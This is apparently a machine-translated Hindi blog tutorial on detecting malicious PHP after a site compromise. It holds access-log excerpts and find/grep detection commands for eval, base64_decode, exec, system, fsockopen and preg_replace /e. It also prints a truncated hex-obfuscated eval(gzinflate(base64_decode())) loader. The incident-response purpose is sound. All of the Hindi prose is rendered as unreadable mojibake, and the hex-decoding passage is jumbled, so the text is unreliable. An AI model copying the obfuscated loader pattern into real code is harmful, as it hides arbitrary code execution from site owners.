рдХреИрд╕реЗ рдкрддрд╛ рдХрд░реЗрдВ рдХрд┐ рдЖрдкрдХреА PHP рд╕рд╛рдЗрдЯ рд╣реИрдХ рд╣реЛ рдЧрдИ рд╣реИ

рдореЗрд░реЗ рдорд┐рддреНрд░ рдХреА рд╕рд╛рдЗрдЯ рд╣рд╛рд▓ рд╣реА рдореЗрдВ рд╣реИрдХ рд╣реБрдИ рдереА, рдЙрд╕ рдкрд░ IP.Bard рдХрд╛ рдПрдХ рдкреБрд░рд╛рдирд╛ рд╕рдВрд╕реНрдХрд░рдг рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬрд┐рд╕рдореЗрдВ рдПрдХ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рднреЗрджреНрдпрддрд╛ рд╣реИред рдпрд╣ рдкреЛрд╕реНрдЯ IP.Bard рдпрд╛ рдЕрдиреНрдп php рдХреЛрдб рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдкрд┐рдд рдирд╣реАрдВ рд╣реЛрдЧреА, рдпрд╣ рджрд┐рдЦрд╛рдПрдЧрд╛ рдХрд┐ рдЕрдкрдиреЗ рд╕рд░реНрд╡рд░ рдкрд░ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг php рдХреЛрдб рдХреИрд╕реЗ рдЦреЛрдЬрд╛ рдЬрд╛рдПред рдЕрдВрдд рдореЗрдВ, рдореИрдВ рдПрдХ рдЙрджрд╛рд╣рд░рдг рджрд┐рдЦрд╛рдКрдВрдЧрд╛ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рд╣реИрдХ рдХреА рдЧрдИ рд╕рд╛рдЗрдЯ рдкрд░ рдХреНрдпрд╛ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдПрдХреНрд╕реЗрд╕ рд▓реЙрдЧ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ


рдХрд┐рд╕реА рдЪреАрдЬрд╝ рд╕реЗ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдореИрдВ рдЕрдкрдиреЗ рдорд┐рддреНрд░ рдХреА рд╣реИрдХ рдХреА рдЧрдИ рд╕рд╛рдЗрдЯ рдХреЗ рдПрдХреНрд╕реЗрд╕ рд▓реЙрдЧ рд╕реЗ рдХреБрдЫ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рд╕рд╛рдЭрд╛ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдБред

IpreMOVED - - [01/Mar/2013:06:16:48 -0600] "POST /uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0" IpreMOVED - - [01/Mar/2013:06:12:58 -0600] "POST /public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0" 

рдЖрдкрдХреЛ рдЕрдХреНрд╕рд░ рд╕рд░реНрд╡рд░ рдкрд░ рдкрд╣реБрдВрдЪ рд▓реЙрдЧ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП, рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдЖрдк рд╕рд╛рд╡рдзрд╛рди рдирд╣реАрдВ рд╣реИрдВ, рддреЛ URL рдЬреИрд╕реЗ рдХрд┐ рдкрд╣рд▓реА рдирдЬрд╝рд░ рдореЗрдВ рд╣рд╛рдирд┐рд░рд╣рд┐рдд рджрд┐рдЦрдиреЗ рд╡рд╛рд▓реЗ рдЖрдкрдХреЗ рдареАрдХ рдкреАрдЫреЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдКрдкрд░ рдХреА рджреЛ рдлрд╛рдЗрд▓реЗрдВ рдкрдЯрд╛рдЦрд╛ рджреНрд╡рд╛рд░рд╛ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИрдВ; рдЙрдиреНрд╣реЗрдВ рд╡рд╣рд╛рдВ рдХреИрд╕реЗ рдорд┐рд▓реА, рдмрдбрд╝реА рднреВрдорд┐рдХрд╛ рдирд╣реАрдВ рдирд┐рднрд╛рддреА рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдХрд┐рд╕реА рднреА рджреЛ рд╕рд░реНрд╡рд░ рдкрд░ рдХреЛрдб рд╢рд╛рдпрдж рдЕрд▓рдЧ рд╣реЛрдЧрд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕ рд╡рд┐рд╢реЗрд╖ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, IP.Bard рдХреЗ рдПрдХ рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдФрд░ рд╣рдорд▓рд╛рд╡рд░ рдЕрдкрдиреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдореЗрдВ рдЬреЛрдбрд╝рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗ, рдЬреИрд╕реЗ рдХрд┐ рдХрд╕реНрдЯрдо рдбрд╛рдЙрдирд▓реЛрдб рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдФрд░ рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдЬрд┐рд╕рдореЗрдВ IP.Board рддреНрд╡рдЪрд╛ рдХреА рдЫрд╛рдпрд╛рдВрдХрд┐рдд рдЫрд╡рд┐рдпреЛрдВ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИред ред рдпрд╣ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд╣рдорд▓рд╛ рд╡реЗрдХреНрдЯрд░ рд╣реИ, рдмрд╣реБрдд рд╕реЗ рд▓реЛрдЧ рдЗрди рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреЗ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ 777 рдореЗрдВ рдмрджрд▓ рджреЗрддреЗ рд╣реИрдВ рдпрд╛ рдЙрдиреНрд╣реЗрдВ рдПрдХреНрд╕реЗрд╕ рд▓рд┐рдЦ рджреЗрддреЗ рд╣реИрдВ, рдЗрд╕ рдкрд░ рдмрд╛рдж рдореЗрдВред

рдЪрд▓реЛ рдЙрдкрд░реЛрдХреНрдд рд▓реЙрдЧ рд▓рд╛рдЗрдиреЛрдВ рдкрд░ рдПрдХ рдХрд░реАрдм рд╕реЗ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВ, рдХреБрдЫ рднреА рдЖрдкрдХреЛ рдирд╣реАрдВ рдкрдХрдбрд╝рддрд╛ рд╣реИ?

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдПрдХреНрд╕реЗрд╕ рд▓реЙрдЧ POST рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ, GET рдЕрдиреБрд░реЛрдзреЛрдВ рдкрд░ рдирд╣реАрдВред
рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ, рд╣рдорд▓рд╛рд╡рд░ рдПрдХреНрд╕реЗрд╕ рд▓реЙрдЧ рдХреЛ рдЕрдзрд┐рдХ рдЕрд╕рдВрдЧрдд рдмрдирд╛рдирд╛ рдЪрд╛рд╣рддреЗ рдереЗ, рдХреНрдпреЛрдВрдХрд┐ рдЕрдзрд┐рдХрд╛рдВрд╢ рд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдбреЗрдЯрд╛ рдХреЛ рд╕рд╣реЗрдЬрддреЗ рдирд╣реАрдВ рд╣реИрдВред

рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг PHP рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛


рдЖрдкрдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рд╕рдВрджрд┐рдЧреНрдз php рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рдХрдИ рддрд░реАрдХреЗ рд╣реИрдВ, рдпрд╣рд╛рдБ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫреЗ рд╣реИрдВред
рд╕рдВрдХреЗрдд: рдЕрдкрдиреА рд╕рд╛рдЗрдЯ рдХреА рд░реВрдЯ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рд╕реЗ рдЗрди рдХрдорд╛рдВрдб рдХреЛ рдЪрд▓рд╛рдПрдВред

рд╣рд╛рд▓ рд╣реА рдореЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд PHP рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬреЗрдВ

рдЪрд▓реЛ рдПрдХ рд╕рд╛рдзрд╛рд░рдг рд╕реЗ рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ, рдорд╛рди рд▓реЗрдВ рдХрд┐ рдЖрдкрдиреЗ рдХреБрдЫ рд╕рдордп рдХреЗ рд▓рд┐рдП php рдХреЛрдб рдореЗрдВ рдХреЛрдИ рдмрджрд▓рд╛рд╡ рдирд╣реАрдВ рдХрд┐рдпрд╛ рд╣реИ, рдЕрдЧрд▓реА рдХрдорд╛рдВрдб рд╡рд░реНрддрдорд╛рди рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдЯреНрд░реА рдореЗрдВ рд╕рднреА php рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рджрд┐рдЦрддреА рд╣реИ рдЬреЛ рдкрд┐рдЫрд▓реЗ рд╕рдкреНрддрд╛рд╣ рдореЗрдВ рдмрджрд▓ рдЧрдП рд╣реИрдВред рдЖрдк рдорд╛рдЗрдо рд╡рд┐рдХрд▓реНрдк рдХреЛ рдЗрдЪреНрдЫрд╛рдиреБрд╕рд╛рд░ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рджреЛ рд╕рдкреНрддрд╛рд╣ рдХреЗ рднреАрддрд░ рдорд╛рдЗрдо -14ред

 find . -type f -name '*.php' -mtime -7 

рдореЗрд░рд╛ рд╣реИрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╕рд░реНрд╡рд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрд░рд┐рдгрд╛рдо рд▓реМрдЯрд╛рддрд╛ рд╣реИ:

 ./uploads/monthly_04_2008/index.php ./uploads/monthly_10_2008/index.php ./uploads/monthly_08_2009/template.php ./uploads/monthly_02_2013/index.php 

рдЗрди рд╕рднреА рд▓рд┐рдкрд┐рдпреЛрдВ рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдбрд╛рдЙрдирд▓реЛрдб рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
рдиреЛрдЯ: рдпрджрд┐ рдЖрдк рд╕реНрд╡рдпрдВ рдХрд┐рд╕реА рдирд┐рд╢реНрдЪрд┐рдд рд╕рдордп рдореЗрдВ php рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддреЗ рд╣реИрдВ рддреЛ рдпрд╣ рдЖрджреЗрд╢ рдЧрд▓рдд рдкрд░рд┐рдгрд╛рдо рджреЗрдЧрд╛ред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╡рд┐рдзрд┐рдпрд╛рдБ рдЕрдзрд┐рдХ рдкреНрд░рднрд╛рд╡реА рд╣реИрдВред

рд╕рднреА PHP рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕рдВрджрд┐рдЧреНрдз рдХреЛрдб рдХреЗ рд╕рд╛рде рдЦреЛрдЬреЗрдВред

рдпрд╣ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ рдмрд╣реБрдд рджреВрд░ рд╣реИ, рдирд┐рдореНрди рдЯреАрдо php рдлрд╛рдЗрд▓реЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░ рд░рд╣реА рд╣реИрдВ рдЬрд┐рдирдореЗрдВ рд╣рдорд▓рд╛рд╡рд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИрдВред рд╣рдо рд╕рд░рд▓ рд╢реБрд░реБрдЖрдд рдХрд░реЗрдВрдЧреЗ рдФрд░ рдЙрдиреНрдирдд рдЦреЛрдЬ рдХреЗ рд╕рд╛рде рдЕрдзрд┐рдХ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВрдЧреЗред

рдкрд╣рд▓реА рдлрд╝рд╛рдЗрд▓ рдХреА рдЬрд╛рдБрдЪ рдЬрд┐рд╕рдореЗрдВ eval, base64_decode, gzinflate рдпрд╛ str_rot13 рд╢рд╛рдорд┐рд▓ рд╣реИрдВред

 find . -type f -name '*.php' | xargs grep -l "eval *(" --color find . -type f -name '*.php' | xargs grep -l "base64_decode *(" --color find . -type f -name '*.php' | xargs grep -l "gzinflate *(" --color 

рд╕рдВрдХреЗрдд: рдкрд╣рд▓рд╛ рдЦреЛрдЬ рдкреИрд░рд╛рдореАрдЯрд░ рдЦреЛрдЬ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╣реИ, рдмрд┐рдВрджреБ рдХрд╛ рдЕрд░реНрде рд╣реИ рд╡рд░реНрддрдорд╛рди рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ (рдФрд░ рд╕рднреА рдЙрдкрдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдВ)ред рдЖрдк рдЗрд╕ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдЦреЛрдЬ рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рднреА рдореМрдЬреВрджрд╛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдирд╛рдо рдореЗрдВ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП:

 find wp-admin -type f -name '*.php' | xargs grep -l "gzinflate *(" --color 

рдпрджрд┐ рдЖрдк -l рд╡рд┐рдХрд▓реНрдк рдХреЛ grep рд╕реЗ рд╣рдЯрд╛рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдорд┐рд▓рд╛рди рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдкрд╛рда рджрд┐рдЦрд╛рдПрдЧрд╛ред рдЖрдЧреЗ рдЬрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдореИрдВ рдЗрд╕ рд╕рдВрдпреБрдХреНрдд рдЯреАрдо рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдКрдВрдЧрд╛, рдЬреЛ рдЕрдзрд┐рдХ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ

 find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color 

рдЗрд╕ рдХрдорд╛рдВрдб рдореЗрдВ evp рдпреБрдХреНрдд рдлрд╛рдЗрд▓реЗрдВ рдорд┐рд▓реЗрдВрдЧреА (str_rot13 (base64_decode) -
Grep рд╕рд┐рдВрдЯреИрдХреНрд╕ рдмрд╣реБрдд рд╕рд░рд▓ рд╣реИ рдФрд░ рдЖрдк рдЗрд╕реЗ рдЕрдкрдиреА рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рдЕрдиреБрд░реВрдк рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЙрдкрд░реЛрдХреНрдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВ, рдЬрд┐рд╕реЗ рд╣рдо рдвреВрдВрдв рд░рд╣реЗ рд╣реИрдВ, рдпрд╣ "eval * (str_rot13 * (base64_decode *) (" рд╣реИ)
рдПрдХ рдЕрдВрддрд░рд┐рдХреНрд╖ рдХреЗ рдмрд╛рдж * рд╢реВрдиреНрдп рдпрд╛ рдЕрдзрд┐рдХ рдЕрдВрддрд░рд┐рдХреНрд╖ рд╡рд░реНрдг рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЙрдкрд░реЛрдХреНрдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рд╣реЛрдЧреА:

 eval(str_rot13(base64_decode eval( str_rot13( base64_decode eval( str_rot13( base64_decode 

рдпреБрдХреНрддрд┐: рдРрд╕реЗ рдХрд╛рд░реНрдпреЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХрд░реЗрдВ, рдЬрд┐рдиреНрд╣реЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдореЗрд▓, рдлрд╝реЙрд╕реНрдХреЛрдкреЗрди, pfsockopen, stream_socket_client, exec, system рдФрд░ passthruред рдЖрдк рдЗрди рд╕рднреА рдореВрд▓реНрдпреЛрдВ рдХреЛ рдПрдХ рдХрдорд╛рдВрдб рдореЗрдВ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ:

 find . -type f -name '*.php' | xargs egrep -i "(mail|fsockopen|pfsockopen|stream_socket_client|exec|system|passthru|eval|base64_decode) *\(" 

рдиреЛрдЯ: рд╣рдо egrep рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, grep рдХрд╛ рдирд╣реАрдВ, рдпрд╣ рд╣рдореЗрдВ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
рдЕрдВрдд рдореЗрдВ, рдпрд╣рд╛рдВ рдХреЛрдб рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд╛рди рд░реВрдк рд╕реЗ рдкреНрд░рд╕рд┐рджреНрдз рддрд░реАрдХрд╛ рд╣реИ:

 preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'5b19fxq30jD8d/wp5C3tQoMx4CQ FILE GOES ON FOR A LONG TIME...... lnSELWEZJakW9R3f7+J+uYuFiiC318gZ9P8C'\x29\x29\x29\x3B","."); 

рдИ рд╕рдВрд╢реЛрдзрдХ рдХреЗ рд╕рд╛рде preg_replace рдЗрд╕ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛, рдпрд╣ рдЕрд╕рд╛рдорд╛рдиреНрдп рджрд┐рдЦрддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдпрд╣ рдмрд╕ рдмреЗрд╕ 64 php рд╕рдВрдкреАрдбрд╝рд┐рдд рдХреЛрдб рд╣реИ рдЬреЛ рдХреБрдЫ рд╣реЗрдХреНрд╕рд╛рдбреЗрд╕рд┐рдорд▓ рд╡рд░реНрдг рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
\ x65 \ x76 \ x61 \ x6C \ x28 \ x7A \ x69 \ x6E \ x66C \ x6C \ x61 \ x74 \ x 64 \ x28 \ x61 \ x61 \ x73 \ x65 \ x36 \ x34 \ x5F \ x64 \ x65 \ x65 \ xремрем \ x6F \ x64 \ x65 \ x28 eval (gzinflate (base64_decode ( , рдФрд░ \ x29 \ x29 \ x29 \ x3B, рдЬреИрд╕реЗ )) рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдиреБрд╡рд╛рдж рдХрд░рддрд╛ рд╣реИ );

рдпрд╣ рдХрдорд╛рдВрдб рдЖрдкрдХреЛ preg_replace рдХрд╛ рдЙрдкрдпреЛрдЧ рдЦреЛрдЬрдиреЗ рдореЗрдВ рдорджрдж рдХрд░реЗрдЧреА:
 find . -type f -name '*.php' | xargs egrep -i "preg_replace *\((['|\"])(.).*\2[az]*e[^\1]*\1 *," --color 

рдпреБрдХреНрддрд┐: рдпрджрд┐ рдЖрдкрдХреЛ рдЗрд╕ рдЖрджреЗрд╢ рдХреЗ рдкрд░рд┐рдгрд╛рдореЛрдВ рдХрд╛ рдПрдХ рдЯрди рдорд┐рд▓рддрд╛ рд╣реИ, рддреЛ рдЖрдк рдкрд░рд┐рдгрд╛рдо рдХреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рд╣реЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЙрдиреНрд╣реЗрдВ рдХрд┐рд╕реА рдЕрдиреНрдп рдкреНрд░реЛрдЧреНрд░рд╛рдо рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдХрдо рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ , рдЬреЛ рдЖрдкрдХреЛ рдПрдХ рд╕рдордп рдореЗрдВ рдкрд░рд┐рдгрд╛рдо рдПрдХ рдкреГрд╖реНрда рджреЗрдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред F рдХреБрдВрдЬреА рд╕реНрдХреНрд░реЙрд▓рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИ, q рдХреБрдВрдЬреА рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИред

 find . -type f -name '*.php' | xargs grep base64_ | less find . -type f -name '*.php' | xargs grep base64_ > results.txt 

рдЙрдкрд░реЛрдХреНрдд рдХрд┐рд╕реА рднреА рдЦреЛрдЬ рдЖрджреЗрд╢ рдХреЗ рд╕рд╛рде, рдЖрдк рдРрд╕рд╛ рд╣реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдпреБрдХреНрддрд┐: рд╣реЗрдХреНрд╕рд╛рдбреЗрд╕рд┐рдорд▓ x29 рдХреЛ рдЖрдЦрд┐рд░ рдореЗрдВ рджреЗрдЦрд╛? рдпрд╣ рд╕рдорд╛рдкрди рдмреНрд░реИрдХреЗрдЯ рд╣реИ, рдФрд░ x3B рдПрдХ рдЕрд░реНрдзрд╡рд┐рд░рд╛рдо рд╣реИред рдЖрдк рдЗрд╕реЗ рдЪрд▓рд╛рдХрд░ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

 echo chr(hexdec('x29')); echo chr(hexdec('x3B')); // outputs ); 

рдЖрдк рдЖрдЧреЗ рд╕рддреНрдпрд╛рдкрди рдХреЗ рд▓рд┐рдП php рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рдЗрди рд╣реЗрдХреНрд╕ рдХреЛрдб рдХреА рдЦреЛрдЬ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

 find . -type f -name '*.php' | xargs grep -il x29 

рдпрд╣ рдПрдХ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рд╣реИ рдпрджрд┐ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рдХреЛрдб рдореЗрдВ рд╣реЗрдХреНрд╕рд╛рдбреЗрд╕рд┐рдорд▓ рдорд╛рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░ рд░рд╣реЗ рд╣реИрдВред

рд╣рдо рддрдереНрдпреЛрдВ рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд░рддреЗ рд╣реИрдВ

рдЕрдзрд┐рдХрд╛рдВрд╢ рд╡рд┐рдзрд┐рдпрд╛рдБ рдпрд╣ рдорд╛рдирддреА рд╣реИрдВ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдЙрддреНрддрд░ рдореЗрдВ рдлрд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рддрд╛ рд╣реИ рдФрд░ рдХреЛрдб рдСрдмрдлреНрдпреВрдЬреЗрд╢рди рдХреЗ рдХреБрдЫ рдкреНрд░рдХрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдЬрдм рдЕрдиреНрдп рд╣рдорд▓рд╛рд╡рд░ рдХреЗрд╡рд▓ рдореМрдЬреВрджрд╛ php рдХреЛрдб рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ, рдХреЛрдб рдкреНрд░рд╛рдХреГрддрд┐рдХ рджрд┐рдЦ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдореМрдЬреВрджрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рд╢реИрд▓реА рд╕реЗ рдореЗрд▓ рдЦрд╛ рд╕рдХрддрд╛ рд╣реИ, рдпрд╛ рдпрд╣ рднреНрд░рд╛рдордХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдЕрдкрдиреЗ рдХреЛрдб рдХреА рдПрдХ рд╕рд╛рдл рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдпрджрд┐ рдЖрдк рд╡реНрдпрд╛рдкрдХ php рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ рд╡рд░реНрдбрдкреНрд░реЗрд╕, vbulletin, IP.Board, рдЖрджрд┐ред - рд╕рдм рдХреБрдЫ рддреИрдпрд╛рд░ рд╣реИред рдпрджрд┐ рдирд╣реАрдВ, рддреЛ рдореБрдЭреЗ рдЖрд╢рд╛ рд╣реИ рдХрд┐ рдЖрдк git рдпрд╛ рдЕрдиреНрдп рд╕рдВрд╕реНрдХрд░рдг рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ рдФрд░ рдЖрдк рдЕрдкрдиреЗ рдХреЛрдб рдХрд╛ рдПрдХ рд╕реНрд╡рдЪреНрдЫ рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдореИрдВ рд╡рд░реНрдбрдкреНрд░реЗрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реВрдВрдЧрд╛ред

